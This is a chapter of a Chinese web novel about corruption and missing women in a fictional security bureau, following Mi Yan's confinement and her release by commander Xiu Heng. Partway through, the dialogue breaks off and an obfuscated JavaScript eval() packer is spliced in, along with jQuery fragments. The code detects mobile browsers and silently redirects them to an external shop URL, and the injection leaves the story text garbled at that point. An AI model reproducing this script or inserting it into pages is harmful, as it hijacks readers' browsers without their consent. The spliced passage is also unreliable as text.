齐严疑惑地看了陈维庸一眼,陈维庸抬眸看向周延鑫:“有什么问题么?”
周延鑫沉默半瞬,摇了摇头:“没什么。”
齐严点点头,简单把日桥民众聚集的前前后后说了,说到有人组织民众卖弄人道主义离间民众和局里的关系的时候,修珩清隽的眉骨下,那深邃的一双眼眼底被打乱了一瞬,又瞬间恢复得毫无痕迹。
很快,齐严把元山这个人也扒了出来。
“...我刚从苏部长那里回来,正好遇到了小艾,刚巧,小艾捕捉到了元山去还章,顺着这条线,我们也揪出了中控室里帮着元山干扰监控的人。”
修珩出声:“还章?”
齐严点头:“他不仅不经上面调令就私调队伍,而且还偷拿了陈局的印章,但至于去干什么可能还得等调查科人员的审查。”
周延鑫从进办公室到现在的眉宇之间那抹郁色终于是浅浅散去,他赶紧接过话:“那枚印章,元山拿过去盖了一份保函,用来压住了王勤的哨塔响应。具体原因确实还要等审查结果。不过——”
“他这么急着和陈局请命去拦日桥的民众,甚至提前派人过去,绝非是为了邀功那么简单,可能和刚刚轩轩提到过的,免费运送上扬区苦力有关系。”
话音刚落,陈维庸抬眸看了周延鑫一眼。
没有任何外露的情绪,但眼底那层沉沉的暗色微微荡开。
同样将视线停留在他身上较长时间的还有修珩。
他的目光像是夜晚平静无光的水面,晦暗不清。
阿允的话竟然不起半分作用么?
甚至从医院的世界出来以后短短的这么一晚上发生了这么多事,他都不曾对局里,对位上的父亲有半分怀疑么?
事实尘埃落定前,他还要怀着自己那份担忧和犹豫,也不愿意选择划清界限有意替自己的养父遮掩一个悬而未决的身份么?
周延鑫,你明明是最理智的人,却还是被这种父子之情操控选择不清醒么?
修珩面不改色的收回目光。
他们虽然并肩作战,但底层处事逻辑终究不一样。
即便是自己最爱的人走在错误的道路上,自己也不会留那一秒钟的余地。
周延鑫,你真让人失望。
修珩坐在那,姿态从容又沉稳,所有的情绪都埋在那张波澜不惊的面孔之下。
*
禁闭室。
此刻一个安静的小房间环境,反而是给了弥嫣独自思考的时间和空间。
她来安全局不到一周,实力和能力都令人有目共睹。
但她不是过来给谁当枪使的。
她是来查清安全局毒瘤,为上扬区民众做主的。
不仅是因为克扣物资的地头蛇刘强和安全局的人勾结。
现在她也知道了,勾结的人就是黄凯和李响。
但还有一件重要事。
她窥见了哪些昏迷的装在几个大箱子里的女人,结合自己之前解救的被刘强的人带走的孩字和女人。
没想到居然这条线也和安全局挂上了。
只是还没等她开始做什么,快节奏的漩涡就强横地将她卷了进来。
安全局的秘密越来越多了......
为什么自己和死去的江弥拥有一张一模一样的脸?
为什么母亲执意要她进安全局?
母亲是个朴素勤俭、将荣誉视若尘土的人。
唯一可能合理的解释,是母亲想让她继承父亲的遗志。
可想到父亲,母亲提及的次数寥寥无几。
如果那是真的骄傲,为什么母亲不在她面前反复勾勒那个英雄的轮廓?
如果那是真的传承,为什么训练时上千百次的挥汗如雨,母亲却从没描述过任何属于父亲的细节?
而且,母亲培养打磨自己的方式高深到自己断训三年,还能打败特训三年的周密,甚至和指挥官过上几招......
自己真的天赋异禀么?
她闭上眼,强压下这些翻涌的疑虑,摸向自己真正的初衷。
那几只黑色的大箱子,里面装满了昏迷的女人。
上扬区女人和孩子的失踪,从她刚踏入那片废土就开始了,或者说发生的更早。
她原以为是刘强那群地头蛇干的腌臜事,甚至亲手杀了刘强的一个手下。
那是她杀的低一个人。
那个瘦高个、鼻尖有颗痣的男人。
他跪在泥水里磕头求饶,刀尖直接送进了他的喉咙。
...
没想到那些大箱子装上的是开往安全局的车。
但局里要那么多女人和孩子,用来做什么呢?
...
她借机煽动上扬区的民众堵住日桥,并在事前叮嘱曲楠躲好,无论谁来问都咬死不知情。本想用这群活着的“证据”撬开这潭死水。
但自己被困在这里,眼下看不清。
弥嫣再次回想起修珩手掌抓住自己的枪口,目光冷淡。
好一个安全局的指挥官。
是啊,他在此扎根三十几年,怎么可能被自己轻飘飘几句话就说离了立场。
既然局里的路被堵死了,她只能换一条路。
可紧接着,她又想起了那群杀人不眨眼的怪物。
好像只有上扬区那些圭才符合人们以往的认知。
可异世界那些圭身上的气质又无比柔和...仅仅因为自己这张脸么?
小镇上的记忆一帧帧划过。
那些圭明明长得一模一样,它们靠外观能够区分同伴么?
还是有哪些人类肉眼无法捕捉的频率或者印记?
又或者说——
白雾里面看见行动小队几人眼睛颜色的画面挥之不去......
倘若圭真的是凭借圭骨认人,为什么依旧错认自己?
她有些不安地吞了吞口水,缓缓举起手,盯着指腹。
圭骨为什么可以主动进入一个人类的身体?
——
门外的走廊突然传来脚步声。
弥嫣站起来,走到门口,透过那扇小窗向外望去。
只见裘枝被带着押入对面的禁闭室。
铁门合上的瞬间,裘枝偏过头,隔着那道巴掌大的玻璃窗,两人的目光撞在一起。
裘枝先移开了视线,转身走进昏暗的深处。
弥嫣:?
她怎么也被罚进来了?
想着她那火爆的性格,会因为听说李响的事...等下,樊羽是不是她的人?
弥嫣垂下眸轻叹了口气。
再次为那些牺牲的年轻队员不甘。
该死的李响!
不多久,弥嫣便被放了出来。
出来时候脸上的表情不太正经。
总之不太像是那种知错就改且改造好的态度。
她嬉皮笑脸的看向守卫:“想问下局里有没有什么大事发生呢?”
守卫面无表情地转过身,一言不发地在前带路。
弥嫣自知无趣地点了点头,神色正经地瞟了眼裘枝禁闭室的方向,又默默收回了目光。
跟着守卫来到出口,乘坐电梯往上,手上还带着一副镣铐。
电梯门打开,弥嫣远远就瞧见了那个挺拔清隽的身影。
呵。
弥嫣鼻腔里不自觉发出一声极轻的嗤响。
两人走过去,守卫恭敬地对着修珩点了点头,正要回头做些什么,修珩却低眸扫了他一眼:“辛苦了,你先去做事吧。”
守卫明显愣了一下。
他茫然地看了看修珩,又看了看弥嫣手腕上那副明晃晃的银色手铐,迟疑了半秒,最终还是面无表情地退开了。
修珩的目光这才落回弥嫣脸上。
弥嫣往前走了一步,在一臂距离处停住。
浅淡的目光落在面前男人脸上,扯过惯常的笑:“指挥官打算就关我这么点时间?我们李队同意么?”
修珩清然的视线触过来,垂眸看着她,声调平仄:“你的李队,三日之后会被处死。”
弥嫣嘴角僵了一瞬:“哈?”
“那黄队呢?”
“停职调查。”
“调、查?”
弥嫣疑惑重复着。
修珩从兜里拿出一把钥匙,朝着弥嫣极轻地勾了勾手指。
弥嫣不情不愿地走过去,修珩低垂着头,开始给她解手铐。
“局里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899506|209827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成立了调查组,专门调查航洋去向主城区输送免费苦力的事,这你知道吗?”
修珩专注着手里的动作。
弥嫣垂着眼,金属锁扣发出两声清脆的“咔哒”声,她说:“知道。”
上扬区的民众定期会向刘强上报信息表,说是自愿,但其实不上报,粮食份额就会据此减少。
修珩“嗯”了一声,手铐被他握在手心,他不着痕迹地看了眼她放下的手腕,干净且没有痕迹。
“连着上扬区的救援工作一直没展开,也在调查范围之内。民安队一队和三队,都被列入了嫌疑名单。”
他话音落下,将钥匙收回兜里。
“走吧。”
弥嫣愣了一瞬,抬头望向他的时候,目光透着几分不解,像是在等他接着往下再说些什么。
修珩目光如是疑惑:“怎么了?”
弥嫣稳了稳心绪,转了个话题:“裘枝组长怎么也被罚进来了。”
修珩面上有些凉,回答:“因为不听指挥。没拿到上面的批准就要跑去盲城救自己部下,她是自愿受罚的。”
“呵。”弥嫣挑了挑唇:“盲城真是特别哈,原来你们进去还得向上面打报告走审批。”
修珩忽略她语气中的厉色:“可以理解,毕竟盲城缺乏管理,不确定因素太多。”
弥嫣直白的目光像手电筒里的光束一样晃过去。
修珩像是没注意到似的,惋惜地说了句:“大概真是兔子急了开始咬人吧。上扬区的一个小姑娘,居然指使教唆那群民众来日桥闹事。”
弥嫣微微眯了眯眼,“闹事”这两个字的评价让她感到不适。
更让她不适的,是修珩语气里那份仿佛天生的傲慢。
是因为自己也在心理给他在崀山的行为盖棺定论了么?
以至于现在看他这个人都带着不同的视角,好比加了一副有色眼镜。
不然怎么现在单单是听他说话就有种立场分明的对抗感,让自己忍不住心情烦躁。
修珩继续道:“那群民众现在都被逮到局里分开审查了。一群松散没经过专业训练的普通人,口风一对,逼一逼,审一审,应该要不了多久就能抓到背后的人。早年局里一直担心上扬区混入了洪山区的人,现在顺着这条现成的线索,也能慢慢查个清楚了。”
弥嫣的脸上悄无声息地长出担忧。
修珩捕捉到那一瞬间的裂痕,心里莫名地有些发涩。
但他没有等到想要的东西。
弥嫣敛去眼底一丝慌张,重新扬起嘴角,笑得毫无破绽:“您说得对。借着这些事把杂草除干净,当然再好不过。”
修珩对着她那双丛林般茂密又生机的眼睛看了一会儿。
他转过身,声音落下:“走吧。”
弥嫣当然不会因为几句话就被激起来情绪,审问课舒兰女士也教的很好。
她站在原地,等着回去再问问周密。
还有就是,她得给母亲打个电话,要个平安以外,她要问些事。
曲楠以为舒兰跟着自己来主城区了,但是上次电话她说自己回洪山了。
但上扬发生这么大的事,她不可能坐视不理。
但自己确实没见到...是错开了么?
这通电话依旧没打通,只有母亲回复的一条信息:【已安全回到洪山,勿念。】
弥嫣蹙眉回复:【妈你去支援上扬了么?有没有受伤?】
等了半天依旧没有回复。
弥嫣甚至觉得自己有必要回一趟洪山了。
那面的回复缓缓来迟:【嗯,没有。】
弥嫣:“......”
她翻来覆去敲打信息又删除,最后只说了句:
【妈你一点不担心我么?】
【我也去上扬支援了,但是没受伤!】
【局里已经开始成立调查组了,相信上扬区的事会慢慢有所交代。】
【我想问您一件事,您认不认识江弥?】
消息发出去就石沉大海。
舒兰有时候那种回避的劲上来,你怎么撬都撬不开。
索性弥嫣确认一点,她哪怕是受伤了也没有大碍。
还有一点,母亲有事瞒着自己。